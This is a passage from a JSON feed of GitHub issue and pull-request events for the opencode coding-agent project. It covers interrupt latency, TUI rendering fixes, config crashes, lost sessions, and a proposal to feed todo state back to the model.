finalizers. 2. Record SQLite transaction-permit queue time separately from transaction execution and listener time. 3. Reproduce the long-tail interrupt with instrumentation. 4. Fix the measured blocker rather than masking it in clients. 5. Add a latency regression test using deterministic gates, not wall-clock sleeps. Potential directions to evaluate after measurement: - Replace native SQLite busy waiting with cooperative, bounded retry so the Bun event loop remains schedulable. - Reduce or isolate work performed while holding the global durable transaction permit. - Bound interrupted end-snapshot work while preserving the exact pre/post boundary needed by Undo. - Bound shell and provider cancellation finalizers with explicit escalation and observable failure states. ## Test seams The exploration branch `interrupt-latency-exploration` contains deterministic characterization tests in `packages/core/test/session-runner.test.ts` for: - blocked interrupted end-snapshot capture - unrelated database transaction contention during interrupted settlement The client-side `Stopping...` prototype from #42115 was intentionally closed because it improved perceived responsiveness but did not reduce server latency.",
          "url": "https://github.com/anomalyco/opencode/issues/42120",
          "createdAt": "2026-08-12T18:57:23Z",
          "updatedAt": "2026-08-12T18:57:23Z",
          "timestamp": "2026-08-12T18:57:23Z",
          "metrics": {
            "reactions": 0,
            "comments": 0
          },
          "labels": [],
          "author": "kitlangton",
          "state": "open",
          "assignees": [],
          "change": "updated"
        }
      },
      {
        "id": "event:eaf2fff5681f456b9930",
        "signalId": "github:anomalyco/opencode:pull_request:42115",
        "event": "changed",
        "observedAt": "2026-08-13T13:48:00.446149Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:pull_request:42115",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "pull_request",
          "title": "fix(session): show interrupt progress immediately",
          "text": "## What Make interrupt actions acknowledge immediately in the app and TUI while OpenCode finishes server-side cancellation and durable settlement. The stop control now enters a pending state as soon as the user interrupts, disables duplicate requests, and resets when the session becomes idle or the interrupt request fails. The TUI footer similarly changes from the repeated-Esc prompt to `Stopping...` immediately after sending the request. ## Before / After **Before** 1. A running turn is interrupted while a provider or tool is active. 2. The server waits for tool settlement, snapshots, durable event projection, and execution finalizers. 3. During that wait, the UI continues to look actively runnable and offers the same interrupt action, making the input appear ignored. **After** 1. The first accepted Stop/Esc action immediately enters a local pending state. 2. App and TUI show stopping feedback and suppress duplicate interrupt requests. 3. The authoritative execution terminal still controls the transition to idle. 4. Request failure clears the pending state so the user can retry. ## How - `packages/app`: adds pending interrupt state to the shared prompt submission helper so both prompt composers use the same behavior. - `packages/session-ui`: keeps the existing stop-button condition separate from the new pending state and disables the control while a request is pending. - `packages/tui`: tracks the session whose interrupt was requested and renders `Stopping...` until its execution becomes idle. - `packages/core/test/session-runner.test.ts`: adds deterministic characterization tests proving interruption settlement can wait for an ending snapshot or an unrelated transaction holding the global SQLite permit. ## Scope This PR improves truthful feedback and duplicate suppression. It does not shorten server-side durable cleanup. The characterization tests document two independent sources of cleanup latency. Production evidence also suggests globally serialized SQLite publication contributed to the reported long-tail case, but changing SQLite scheduling or snapshot semantics should be handled separately with dedicated instrumentation and correctness analysis. ## Testing - `bun turbo typecheck --concurrency=3` (push hook, 32 packages passed) - `cd packages/core && bun run test session-runner.test.ts` (146 passed) - `cd packages/tui && bun run test` (683 passed, 5 skipped) - `cd packages/session-ui && bun run test` (83 passed) - `cd packages/app && bun run test:unit` (677 passed; unrelated existing `pa-PK` locale detection test failed) - `bunx prettier --check ...` for all touched files - `git diff --check` ## Flow ```mermaid sequenceDiagram participant User participant UI as App / TUI participant Server participant Execution participant Store as Durable settlement User->>UI: Stop / Esc UI->>UI: Show Stopping immediately UI->>Server: POST session interrupt Server->>Execution: Interrupt owner fiber Execution->>Store: Settle tools, snapshots, events Store-->>Execution: Terminal committed Execution-->>Server: Cleanup complete Server-->>UI: 204 UI->>UI: Terminal event returns session to idle ```",
          "url": "https://github.com/anomalyco/opencode/pull/42115",
          "createdAt": "2026-08-12T18:49:29Z",
          "updatedAt": "2026-08-12T18:57:05Z",
          "timestamp": "2026-08-12T18:57:05Z",
          "metrics": {
            "reactions": 0,
            "comments": 1
          },
          "labels": [
            "contributor"
          ],
          "author": "kitlangton",
          "state": "closed",
          "assignees": [],
          "change": "updated"
        }
      },
      {
        "id": "event:402b7dddafe634221159",
        "signalId": "github:anomalyco/opencode:issue:42116",
        "event": "changed",
        "observedAt": "2026-08-13T13:48:00.446149Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:issue:42116",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "issue",
          "title": "Misconfigured OPENCODE_CONFIG / OPENCODE_CONFIG_DIR crash with errors",
          "text": "### Description Bad values for the config env vars kill opencode at startup with errors that don't say what's wrong ### Plugins _No response_ ### OpenCode version 1.18.15 ### Steps to reproduce ➜ opencode git:(dev) OPENCODE_CONFIG=/tmp/ opencode models Error: Unexpected error BadResource: FileSystem.readFile (/tmp/) ➜ opencode git:(dev) OPENCODE_CONFIG_DIR=/Users/user/.config/opencode/opencode.json opencode models Error: Unexpected error BadResource: FileSystem.readFile (/Users/user/.config/opencode/opencode.json/opencode.json) ➜ opencode git:(dev) OPENCODE_CONFIG_DIR=/does/not/exists opencode models Error: Unexpected error Unknown: FileSystem.makeDirectory (/does/not/exists) ``` ### Screenshot and/or share link _No response_ ### Operating System _No response_ ### Terminal _No response_",
          "url": "https://github.com/anomalyco/opencode/issues/42116",
          "createdAt": "2026-08-12T18:50:33Z",
          "updatedAt": "2026-08-12T18:54:50Z",
          "timestamp": "2026-08-12T18:54:50Z",
          "metrics": {
            "reactions": 0,
            "comments": 1
          },
          "labels": [],
          "author": "hhamalai",
          "state": "open",
          "assignees": [
            "jlongster"
          ],
          "change": "updated"
        }
      },
      {
        "id": "event:c48c4aa82f7fceb2598b",
        "signalId": "github:anomalyco/opencode:pull_request:40872",
        "event": "changed",
        "observedAt": "2026-08-13T13:48:00.446149Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:pull_request:40872",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "pull_request",
          "title": "feat(app): add VS Code Insiders and Antigravity to Open in options",
          "text": "### Issue for this PR No issue filed — small QoL addition to an existing menu. ### Type of change - [ ] Bug fix - [x] New feature - [ ] Refactor / code improvement - [ ] Documentation ### What does this PR do? The session-header \"Open options\" menu (the \"Open in\" dropdown next to the project path) is a hardcoded per-OS list of editors you can open the current directory in. Two editors were missing: **VS Code Insiders** (none of the three platform lists had it) and **Antigravity** (macOS only — it was absent from the Windows list even though the Antigravity IDE ships a CLI shim there). The change: - adds `vscode-insiders` to the macOS, Windows, and Linux lists — `openWith` uses `Visual Studio Code Insiders` on macOS (the `open -a` bundle name) and `code-insiders` on Windows/Linux (the CLI shim both installs on PATH) - adds `antigravity` to the Windows list with `openWith: \"antigravity-ide\"` — the shim the Antigravity IDE installs at `%LOCALAPPDATA%\\Programs\\Antigravity IDE\\bin\\antigravity-ide.cmd`, which the existing `resolveWindowsAppPath` resolves via `where` - adds the `session.header.open.app.vscodeInsiders` locale key to all 28 locale dictionaries, following the existing brand-name convention (e.g. \"VS Code\" is kept as-is everywhere) Why it works: launching on Windows just spawns the resolved command with the directory argument, so any command that resolves through `where` drops in without new plumbing. I verified `code-insiders` and `antigravity-ide` both resolve on PATH on a Windows 11 machine. Antigravity is intentionally not added to the Linux list — its install path there varies by distro and I didn't verify one. ### How did you verify your code works? - `bun --cwd packages/app run typecheck` (`tsgo -b`) — passes - `bunx oxlint` on the changed files — 0 warnings, 0 errors - `bun test packages/app/src/i18n/parity.test.ts` — 4/5 pass. The one failure (`ar` missing the unrelated `session.export` keys) is pre-existing on `dev`: the same test fails identically on a pristine `upstream/dev` working tree with these changes stashed. I could not run the built desktop app for a manual check or screenshot — `bun install` fails on Windows at the `tree-sitter-powershell` native build (pre-existing toolchain issue, unrelated to this change) — so verification is type-level + lint + the i18n tests above. The new entries follow the existing entries' exact shape. ### Screenshots / recordings None — the app couldn't be built on my Windows machine (see above). The two entries are identical in shape to the existing ones. ### Checklist - [x] I have tested my changes locally - [x] I have not included unrelated changes in this PR _If you do not follow this template your PR will be automatically rejected._",
          "url": "https://github.com/anomalyco/opencode/pull/40872",
          "createdAt": "2026-08-06T14:04:22Z",
          "updatedAt": "2026-08-12T18:54:49Z",
          "timestamp": "2026-08-12T18:54:49Z",
          "metrics": {
            "reactions": 0,
            "comments": 1
          },
          "labels": [],
          "author": "mradwankhalil-commits",
          "state": "open",
          "assignees": [],
          "change": "updated"
        }
      },
      {
        "id": "event:82e708a057c4c1ccb51b",
        "signalId": "github:anomalyco/opencode:issue:42110",
        "event": "changed",
        "observedAt": "2026-08-13T13:48:00.446149Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:issue:42110",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "issue",
          "title": "[BUG]: Active chat session stuck in \"Free usage exceeded\" retry loop after subscribing to Go",
          "text": "Description: I exceeded the free usage limit during an active session. After subscribing to Go and adding my token, new chats work perfectly under the subscription. However, the existing conversation remains permanently wedged in a retry loop showing \"Free usage exceeded, subscribe to Go\" and will not recognize the updated subscription state. Steps to reproduce: 1. Exhaust free usage limits in an active chat session. 2. Subscribe to Go and configure the active token. 3. Attempt to send a new message or resume the original chat session. Result: The old chat continuously retries with Free usage exceeded, subscribe to Go, while opening a brand new chat works without issues.",
          "url": "https://github.com/anomalyco/opencode/issues/42110",
          "createdAt": "2026-08-12T18:34:08Z",
          "updatedAt": "2026-08-12T18:54:41Z",
          "timestamp": "2026-08-12T18:54:41Z",
          "metrics": {
            "reactions": 0,
            "comments": 4
          },
          "labels": [],
          "author": "Kevin-Arias-Lizarazo",
          "state": "closed",
          "assignees": [
            "MrMushrooooom"
          ],
          "change": "updated"
        }
      },
      {
        "id": "event:4c5673b37d6757b62a93",
        "signalId": "github:anomalyco/opencode:issue:41972",
        "event": "changed",
        "observedAt": "2026-08-13T13:48:00.446149Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:issue:41972",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "issue",
          "title": "[BUG] Sessions silently deleted after cross-session API access",
          "text": "## Description Sessions accessed via the prompt API from another session are silently deleted. This happens consistently after a session is accessed through cross-session API calls. ## OpenCode version 1.18.16 ## Steps to reproduce 1. Create two sessions (A and B) in OpenCode web UI 2. From session A, send a prompt to session B via the API: ``` POST /session/{sessionB_id}/prompt ``` 3. Session B processes the prompt normally and exits its loop 4. Within 1-2 minutes, session B disappears from the session list and SQLite database ## Evidence from server logs Each deleted session shows this pattern in the log: ``` INFO loop session.id=ses_xxx step=... INFO process session.id=ses_xxx messageID=... INFO stream providerID=opencode-go modelID=deepseek-v4-pro session.id=ses_xxx INFO exiting loop session.id=ses_xxx ``` After \"exiting loop\", the session never appears in logs again and is gone from both API and DB. Earlier occurrences also showed: ``` ERROR \"Failed to drain Session\" sessionID=ses_xxx cause=\"ModelUnavailableError: Model unavailable: opencode-go/deepseek-v4-flash\" ``` But sessions also get deleted without this error when using `deepseek-v4-pro`. ## Impact This makes the multi-agent bridge architecture unreliable — worker sessions are frequently lost, requiring manual recreation. Multiple sessions have been lost: `ses_00b55519`, `ses_00b815d64`, `ses_00b833c7`. ## Notes - The bridge's `stop()` method has correct `_ownedServer` guard and does NOT delete external sessions - The deletion occurs server-side, not from our API calls ## Related Repository This bug was discovered while developing [multi-agent-bridge](https://github.com/Mooling0602/multi-agent-bridge), a framework that uses `@opencode-ai/sdk` to coordinate multiple AI agent sessions. The bridge connects to existing sessions via `adoptSession` (GET) and dispatches tasks via `sendToAgent` / `dispatchToAgent` (POST prompt). All session accesses are read-only from the bridge's perspective — no `session.delete` calls are made.",
          "url": "https://github.com/anomalyco/opencode/issues/41972",
          "createdAt": "2026-08-12T08:33:01Z",
          "updatedAt": "2026-08-12T18:50:42Z",
          "timestamp": "2026-08-12T18:50:42Z",
          "metrics": {
            "reactions": 0,
            "comments": 4
          },
          "labels": [],
          "author": "Mooling0602",
          "state": "closed",
          "assignees": [
            "jlongster"
          ],
          "change": "updated"
        }
      },
      {
        "id": "event:5adbe0a00c71eac7877f",
        "signalId": "github:anomalyco/opencode:pull_request:42080",
        "event": "changed",
        "observedAt": "2026-08-13T13:48:00.446149Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:pull_request:42080",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "pull_request",
          "title": "docs: add @oyadotai/opencode-plugin to ecosystem plugins",
          "text": "Adds [@oyadotai/opencode-plugin](https://www.npmjs.com/package/@oyadotai/opencode-plugin) to the plugins table on the ecosystem page. The plugin lets OpenCode build, deploy, and manage [Oya](https://getoya.ai) AI agents via the Oya MCP server: create agents with skills and scheduled routines, deploy them to a sandboxed cloud runtime, connect gateways (Slack, Gmail, LinkedIn, and more), trigger runs, and inspect traces without leaving the editor. - Source: https://github.com/OyaAIProd/oya-plugins (plugin in `opencode/`, MIT) - npm: `@oyadotai/opencode-plugin` v0.3.0, built on `@opencode-ai/plugin` 🤖 Generated with [Claude Code](https://claude.com/claude-code)",
          "url": "https://github.com/anomalyco/opencode/pull/42080",
          "createdAt": "2026-08-12T16:20:31Z",
          "updatedAt": "2026-08-12T18:47:39Z",
          "timestamp": "2026-08-12T18:47:39Z",
          "metrics": {
            "reactions": 0,
            "comments": 2
          },
          "labels": [],
          "author": "OyaAIProd",
          "state": "closed",
          "assignees": [],
          "change": "updated"
        }
      },
      {
        "id": "event:746add1b9641604e6ee4",
        "signalId": "github:anomalyco/opencode:pull_request:42093",
        "event": "changed",
        "observedAt": "2026-08-13T13:48:00.446149Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:pull_request:42093",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "pull_request",
          "title": "fix(tui): restore tab marquee hover",
          "text": "## What Restore session tab marquee behavior when hover reveals the close control, and prevent a previous tab's marquee from remaining active after the pointer moves to a title that fits. ## Before / After **Before** A title could fit the resting tab width but become clipped when hover reserved cells for the close control. Overflow eligibility still used the resting width, so the clipped title never rotated. Moving from an active marquee to a fitting tab cleared its timer but retained the old active tab and offset, leaving the marquee visually stuck. **After** Hover eligibility uses the actual hovered title viewport. Entering a fitting tab explicitly resets any previous marquee, so no stale active tab or interval survives the transition. Leaving an overflowing tab still completes the current ` · ` cycle before settling at its beginning. ## How - `packages/tui/src/component/session-tabs.tsx` computes explicit hovered title widths for horizontal and vertical tabs and passes them to the marquee controller. - The controller resets when the entered title fits instead of only clearing its timer. - `packages/tui/test/component/session-tabs-marquee.test.ts` covers delayed hover start, transition to a fitting tab, stale interval prevention, and forward settling after leave. ## Scope This changes only session tab marquee eligibility and lifecycle. Tab sizing, close-button behavior, drag behavior, and title generation are unchanged. ## Testing - `bun run test test/component/session-tabs-marquee.test.ts test/util/marquee.test.ts` from `packages/tui` - `bun typecheck` from `packages/tui` - Pre-push `bun turbo typecheck --concurrency=3`",
          "url": "https://github.com/anomalyco/opencode/pull/42093",
          "createdAt": "2026-08-12T17:43:16Z",
          "updatedAt": "2026-08-12T18:47:37Z",
          "timestamp": "2026-08-12T18:47:37Z",
          "metrics": {
            "reactions": 0,
            "comments": 0
          },
          "labels": [
            "contributor"
          ],
          "author": "kitlangton",
          "state": "closed",
          "assignees": [],
          "change": "updated"
        }
      },
      {
        "id": "event:f2a714968b8b0777ee47",
        "signalId": "github:anomalyco/opencode:issue:42082",
        "event": "changed",
        "observedAt": "2026-08-13T13:48:00.446149Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:issue:42082",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "issue",
          "title": "Todo state never flows back to the model: agents forget todowrite maintenance (proposal: inject via SessionReminders)",
          "text": "## Summary The `todowrite` tool asks the agent to \"update status in real time\", but the model has **no feedback channel for current todo state** — it only sees todo state in its own past `todowrite` tool outputs. As the conversation grows (and especially after compaction), the agent reliably forgets to maintain the list: stale `in_progress` items linger, completed work stays unmarked. This is structural, not a prompting problem. ## Root cause (verified against current source) 1. **No prompt injection point for todo state.** `Todo.get` (`packages/opencode/src/session/todo.ts`) is only consumed by the `todowrite` tool itself (`packages/opencode/src/tool/todo.ts`) and the HTTP API route (`packages/opencode/src/server/routes/instance/httpapi/groups/session.ts`). Nothing ever reads the current todo list back into the model's context. 2. **Compaction drops todo awareness entirely.** `packages/opencode/src/session/compaction.ts` has no reference to todos; the summary preserves nothing about task-list state. 3. **Meanwhile, the reminder infrastructure for exactly this kind of injection already exists.** `SessionReminders.apply` (`packages/opencode/src/session/reminders.ts`) runs on **every agent step** (called from `session/prompt.ts:1180`) and appends `synthetic: true` text parts to the last user message — this is how `PROMPT_PLAN` / `BUILD_SWITCH` enter the context. Notably, the non-persistent `userMessage.parts.push(...)` path exists for injections that must not be written back to the DB. So today: todo state is write-only from the model's perspective. Rules like \"update status in real time; don't batch completions\" (in `tool/todowrite.txt`) are unenforceable soft constraints. ## Proposal: Todo Reminder Injection Follow the existing `SessionReminders` pattern. In `SessionReminders.apply`: 1. `Todo.Service.get(sessionID)` 2. If the list has non-completed items, `userMessage.parts.push(...)` (non-persistent path, same as `PROMPT_PLAN`) a compact status reminder, e.g.: ``` <todo-reminder> Current task list (as of last todowrite): - in_progress: <content> - pending: <content 1>, <content 2>, ... Update via todowrite when tasks complete or change. </todo-reminder> ``` Effect: the model sees the current todo state on every step, so \"forgetting\" is eliminated at the mechanism level instead of relying on agent discipline. Cost: a few dozen tokens per step; the synthetic part is never persisted, so no history pollution. Estimated change: ~20 lines in `session/reminders.ts` (add `Todo.Service` dependency + conditional push). No schema, hook, or tool-protocol changes. ## Optional follow-ups (not required for the core fix) - **Compaction:** include current todo state in the compaction summary (`session/compaction.ts`) so task context survives compaction. - **Staleness signal:** scan message history for the last `todowrite` call; if it is >N steps old with open items, strengthen the reminder (\"item X has been in_progress for N steps without an update\"). ## Context Observed in real multi-hour sessions: the agent completed work (commits, reviews, integration) while the todo list stayed stale for many steps, only updated when the user noticed. The todo list's value is surfacing progress to the user — but that value silently degrades when the model is the only maintainer and the state never comes back to it. Happy to help refine the design or test a patch.",
          "url": "https://github.com/anomalyco/opencode/issues/42082",
          "createdAt": "2026-08-12T16:30:30Z",
          "updatedAt": "2026-08-12T18:47:37Z",
          "timestamp": "2026-08-12T18:47:37Z",
          "metrics": {
            "reactions": 0,
            "comments": 2
          },
          "labels": [],
          "author": "cenglin123",
          "state": "closed",
          "assignees": [
            "rekram1-node"
          ],
          "change": "updated"
        }
      },
      {
        "id": "event:b5f037642324f18f2329",
        "signalId": "github:anomalyco/opencode:pull_request:42108",
        "event": "changed",
        "observedAt": "2026-08-13T13:48:00.446149Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:pull_request:42108",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "pull_request",
          "title": "fix(tui): show worktree names in session list",
          "text": "## Summary - fix worktree names in the TUI session list dialog - remove the session subpath before deriving the worktree name - show linked worktree names instead of the nested session directory or project fallback - truncate worktree labels to 25 terminal cells ## Verification - reproduced with OpenCode Drive using two linked worktrees with sessions under `packages/cli` - confirmed the dialog changed from `cli` for both rows to `worktree` and `worktree-two` - `bun typecheck` in `packages/tui` - full TUI suite: 683 passed, 5 skipped, 0 failed",
          "url": "https://github.com/anomalyco/opencode/pull/42108",
          "createdAt": "2026-08-12T18:29:09Z",
          "updatedAt": "2026-08-12T18:44:51Z",
          "timestamp": "2026-08-12T18:44:51Z",
          "metrics": {
            "reactions": 0,
            "comments": 0
          },
          "labels": [
            "contributor"
          ],
          "author": "jlongster",
          "state": "closed",
          "assignees": [],
          "change": "updated"
        }
      },
      {
        "id": "event:29c21890d649383b32d5",
        "signalId": "github:anomalyco/opencode:issue:15059",
        "event": "changed",
        "observedAt": "2026-08-13T13:48:00.446149Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:issue:15059",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "issue",
          "title": "Multiple system prompts break Qwen3.5-* models",
          "text": "### Description As part of investigating what could've caused https://github.com/Opencode-DCP/opencode-dynamic-context-pruning/issues/407 I noticed that the tool was adding another system prompt, which caused for this model to break. Despite being fixed in the plugin it makes sense to at least have it as a known issue, so this is mostly for documentation purposes and if there are other plugins that could incur such behavior for the qwen3.5 or other models. Also maybe as a suggestion if there are multiple system prompts to be concatenated into a single one before dispatch to the model, similarly to how it is done [here](https://github.com/Opencode-DCP/opencode-dynamic-context-pruning/pull/408/changes/2ef8c299f1037e41ede9f3e5dab9d28d450ab430) ### Plugins @tarquinen/opencode-dcp ### OpenCode version 1.2.12 ### Steps to reproduce 1. Install `@tarquinen/opencode-dcp` with version <= 2.1.7 2. Start a session with any of the Qwen3.5 models 3. Send a message and expect to receive error [this error](https://huggingface.co/Qwen/Qwen3.5-35B-A3B/blob/main/chat_template.jinja#L84-L86) ### Screenshot and/or share link _No response_ ### Operating System EndeavourOS ### Terminal Ghostty",
          "url": "https://github.com/anomalyco/opencode/issues/15059",
          "createdAt": "2026-02-25T12:36:22Z",
          "updatedAt": "2026-08-12T18:43:20Z",
          "timestamp": "2026-08-12T18:43:20Z",
          "metrics": {
            "reactions": 0,
            "comments": 15
          },
          "labels": [],
          "author": "DaGhostman",
          "state": "open",
          "assignees": [
            "jlongster"
          ],
          "change": "updated"
        }
      },
      {
        "id": "event:e66af7f87beeec3c918e",
        "signalId": "github:anomalyco/opencode:pull_request:42111",
        "event": "changed",
        "observedAt": "2026-08-13T13:48:00.446149Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:pull_request:42111",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "pull_request",
          "title": "Exa main",
          "text": "### Issue for this PR Closes # ### Type of change - [ ] Bug fix - [ ] New feature - [ ] Refactor / code improvement - [ ] Documentation ### What does this PR do? Please provide a description of the issue, the changes you made to fix it, and why they work. It is expected that you understand why your changes work and if you do not understand why at least say as much so a maintainer knows how much to value the PR. **If you paste a large clearly AI generated description here your PR may be IGNORED or CLOSED!** ### How did you verify your code works? ### Screenshots / recordings _If this is a UI change, please include a screenshot or recording._ ### Checklist - [ ] I have tested my changes locally - [ ] I have not included unrelated changes in this PR _If you do not follow this template your PR will be automatically rejected._",
          "url": "https://github.com/anomalyco/opencode/pull/42111",
          "createdAt": "2026-08-12T18:37:49Z",
          "updatedAt": "2026-08-12T18:38:50Z",
          "timestamp": "2026-08-12T18:38:50Z",
          "metrics": {
            "reactions": 0,
            "comments": 3
          },
          "labels": [
            "needs:title",
            "needs:compliance"
          ],
          "author": "Sheetaldharshan200",
          "state": "closed",
          "assignees": [],
          "change": "updated"
        }
      },
      {
        "id": "event:c1756302f6a37d7281d2",
        "signalId": "github:anomalyco/opencode:pull_request:42096",
        "event": "changed",
        "observedAt": "2026-08-13T13:48:00.446149Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:pull_request:42096",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "pull_request",
          "title": "fix(tui): keep interrupt confirmation visible",
          "text": "## What Keep the full V2 TUI's armed interrupt confirmation visible after the first Escape. ## Before / After **Before:** A running session showed `esc interrupt`. The first Escape correctly armed the two-press confirmation without calling the interrupt API, but the footer used `theme.background.action.primary.default` as a foreground color. In the reproduced theme, OpenTUI rendered those cells blank, so the complete hint disappeared while the session remained running. **After:** The armed full-TUI footer uses `theme.text.feedback.warning.default`. The first Escape visibly changes the footer to `esc again to interrupt`; the second Escape interrupts the session. ## How - `packages/tui/src/component/prompt/index.tsx` renders the armed status with the existing semantic warning text token instead of a background action token. - The small `PromptInterruptStatus` boundary owns the armed/unarmed semantic color choice. - `packages/tui/test/cli/tui/prompt-interrupt-status.test.tsx` verifies the complete armed phrase and warning-colored rendered spans. ## Scope This changes only the full TUI prompt footer. Interrupt counting, the five-second timeout, API behavior, and the mini TUI are unchanged. ## Testing - `cd packages/tui && bun run test test/cli/tui/prompt-interrupt-status.test.tsx` (`1` passed) - `cd packages/tui && bun typecheck` - Push hook: `bun turbo typecheck --concurrency=3` (`32` successful) - OpenCode Drive: populated simulated full-TUI session; verified `esc interrupt`, first Escape rendered `esc again to interrupt`, and second Escape interrupted - Simplify review tightened the test so the component owns and verifies the warning-token policy ## Demo OpenCode Drive recording of the actual full TUI and fixed two-Escape flow. https://github.com/user-attachments/assets/846bf10b-8e3a-4e62-8e2e-247b6daf55bd",
          "url": "https://github.com/anomalyco/opencode/pull/42096",
          "createdAt": "2026-08-12T17:48:34Z",
          "updatedAt": "2026-08-12T18:33:56Z",
          "timestamp": "2026-08-12T18:33:56Z",
          "metrics": {
            "reactions": 0,
            "comments": 0
          },
          "labels": [
            "contributor"
          ],
          "author": "kitlangton",
          "state": "closed",
          "assignees": [],
          "change": "updated"
        }
      },
      {
        "id": "event:b3af52ddfd06e9940d12",
        "signalId": "github:anomalyco/opencode:pull_request:42106",
        "event": "changed",
        "observedAt": "2026-08-13T13:48:00.446149Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:pull_request:42106",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "pull_request",
          "title": "chore: add neriousy to team members",
          "text": "## Summary - Add `neriousy` to `.github/TEAM_MEMBERS`. - Add `neriousy` to the core team assignment pool used by the GitHub issue triage agent. - Let GitHub automations recognize him as a core team member and assign matching issues to him. ## Verification - Confirmed the login appears exactly once in the shared roster. - Confirmed the core triage pool contains the login. - Built the triage tool with Bun. - Ran `git diff --check`. Requested by: @rekram1-node (Aiden Cline via Slack)",
          "url": "https://github.com/anomalyco/opencode/pull/42106",
          "createdAt": "2026-08-12T18:28:34Z",
          "updatedAt": "2026-08-12T18:30:53Z",
          "timestamp": "2026-08-12T18:30:53Z",
          "metrics": {
            "reactions": 0,
            "comments": 0
          },
          "labels": [
            "contributor"
          ],
          "author": "opencode-agent[bot]",
          "state": "closed",
          "assignees": [
            "rekram1-node"
          ],
          "change": "updated"
        }
      },
      {
        "id": "event:208494ba171c2814ee38",
        "signalId": "github:anomalyco/opencode:pull_request:42107",
        "event": "changed",
        "observedAt": "2026-08-13T13:48:00.446149Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:pull_request:42107",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "pull_request",
          "title": "chore: add neriousy to team members",
          "text": "## Summary - Add `neriousy` to `.github/TEAM_MEMBERS`. - Add `neriousy` to the core team assignment pool used by the GitHub issue triage agent. - Let GitHub automations recognize him as a core team member and assign matching issues to him. ## Verification - Confirmed the login appears exactly once in the shared roster. - Confirmed the core triage pool contains the login. - Built the triage tool with Bun. - Ran `git diff --check`. Requested by: @rekram1-node (Aiden Cline via Slack)",
          "url": "https://github.com/anomalyco/opencode/pull/42107",
          "createdAt": "2026-08-12T18:28:35Z",
          "updatedAt": "2026-08-12T18:30:41Z",
          "timestamp": "2026-08-12T18:30:41Z",
          "metrics": {
            "reactions": 0,
            "comments": 0
          },
          "labels": [
            "contributor"
          ],
          "author": "opencode-agent[bot]",
          "state": "closed",
          "assignees": [
            "rekram1-node"
          ],
          "change": "updated"
        }
      },
      {
        "id": "event:058f80f8159e095aeaa7",
        "signalId": "github:anomalyco/opencode:pull_request:42103",
        "event": "changed",
        "observedAt": "2026-08-13T13:48:00.446149Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:pull_request:42103",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "pull_request",
          "title": "fix(tui): render Mermaid rich labels compactly",
          "text": "## What Fixes terminal Mermaid flowcharts that use quoted multiline labels and inline italics. Valid labels now keep their punctuation, split on `<br/>`, render `<i>` / `<em>` as terminal italics, and reserve horizontal room only where that label is routed. ## Before / After **Before:** the flowchart parser measured edge operators against a masked statement and also stored the masked label. A quoted label such as `\"events.persist: true<br/>mcp.stdio: false\"` became one long line like `\"events persist: true br/ mcp stdio: false\"`. That inflated every vertical rank, produced terminal-wide rails, exposed unrelated route/subgraph crossings, and printed `<i>` tags literally. **After:** operator detection still uses the masked statement, but label text is recovered from the original source range. Rich text is normalized before measurement, `<br/>` creates rows, italic spans become OpenTUI text attributes, and multiline label clearance applies only to ranks touched by the labeled edge. ## How - `packages/merman/src/flowchart/parser.ts` recovers quoted edge labels from original source indices without allowing arrow-like label text to become structural syntax. - `packages/merman/src/core/text-lines.ts` exposes visible lines and italic runs for shared measurement and drawing. - `packages/merman/src/flowchart/drawing.ts` writes rich text into canvas metadata; `style.ts` and `core/render-grid.ts` preserve those attributes in `StyledText`. - `packages/merman/src/flowchart/layout.ts` computes vertical branch-label clearance per rank instead of applying the widest label globally. - Flowchart and Markdown tests cover the complete reported architecture graph, narrow viewports, punctuation, line breaks, italics, and width. ## Scope This supports Mermaid's existing `<br>`, `<br/>`, `<i>`, and `<em>` label presentation used by the terminal renderer. It does not add general HTML rendering or change non-flowchart diagram styling. ## Testing - `cd packages/merman && bun run test` (`290` passing) - `cd packages/merman && bun typecheck` - Push hook: repository-wide `bun turbo typecheck --concurrency=3` (`32` packages passing) - OpenCode Drive against commit `b8d8911d7a`, simulated model response containing the complete reported diagram at a 200x44 viewport ## Demo Exact reported diagram rendered by the OpenCode TUI through OpenCode Drive. Quoted labels are multiline, `option flags` and `layer overrides` are italic, and the graph stays compact. ![OpenCode Drive rendering the fixed 